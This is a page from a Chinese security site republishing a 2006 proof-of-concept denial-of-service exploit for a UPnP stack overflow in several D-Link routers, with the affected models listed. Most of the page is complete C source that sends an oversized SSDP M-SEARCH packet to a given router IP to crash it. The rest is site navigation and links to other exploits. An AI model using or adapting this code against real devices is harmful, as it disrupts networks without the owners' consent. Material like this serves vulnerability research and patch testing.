首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
D-Link Router UPNP Stack Overflow Denial of Service Exploit (PoC)
来源:eEye Digital Security 作者:ub3rst4r 发布时间:2006-07-24  

/* routers affected from eEye's advisory. /str0ke
Routers Affected:
DI-524 Rev A
DI-524 Rev C
DI-524 Rev D
DI-604 Rev E
DI-624 Rev C
DI-624 Rev D
DI-784 Rev A
EBR-2310 Rev A
WBR-1310 Rev A
WBR-2310 Rev A
*/

/*
* D-Link Router UPNP DOS PoC
* Written By: ub3rst4r aka DiGiTALST*R
* Tested Against: DI-524 Rev. A
*
* A remote stack overflow exists in a range of wired and wireless D-Link
* routers. This vulnerability allows an attacker to execute privileged code
* on an affected device. Although a stack overflow does exist, debugging this
* vulnerabilty requires additional external hardware.
*
* NOTE: You might need to try sending this twice, or use 239.255.255.250
*
* Credits: eEye Digital Security
*
*/

#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")

int main(int argc, char **argv)
{
WSADATA wsa;

char buf[896];

int sockfd;
struct sockaddr_in serv_addr;

int ret;

if (argc < 2) {
printf("Usage: dlinkdos <router ip>\n");
return 0;
}

WSAStartup(MAKEWORD(1,1), &wsa);

// the main string
memcpy(buf, "M-SEARCH ", 9);
memset(buf+9, 'A', 800);
memcpy(buf+809, " HTTP/1.1\r\n", 10);

// extra data
strcat(buf,
"Host:239.255.255.250:1900\r\n"
"ST:upnp:rootdevice\r\n"
"Man:\"ssdp:discover\"\r\n"
"MX:3\r\n"
"\r\n"
"\r\n");

sockfd = socket(AF_INET, SOCK_DGRAM, 0);

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(1900);
serv_addr.sin_addr.s_addr = inet_addr(argv[1]);
memset(&serv_addr.sin_zero, '\0', 8);

ret = sendto(sockfd,buf,sizeof(buf),0,(struct sockaddr *)&serv_addr, sizeof(struct sockaddr));
if (ret <= 0) {
printf("failed to send request\n");
return 0;
}

printf("request sent!\n");

WSACleanup();

return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MS Windows Mailslot Ring0 Memo
·Cheese Tracker <= 0.9.9 Loc
·MS Internet Explorer 6 (Conten
·Microsoft IIS ASP Stack Overfl
·Cisco/Protego CS-MARS < 4.2
·Blackorpheus ClanMemberSkript
·FileCOPA FTP Server <= 1.01
·FlexBB <= 0.5.5 (/inc/start
·Dumb <= 0.9.3 (it_read_enve
·Neon Responder 5.4 (Clock Sync
·Linux Kernel 2.6.13 <= 2.6.
·Internet PhotoShow (page) Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved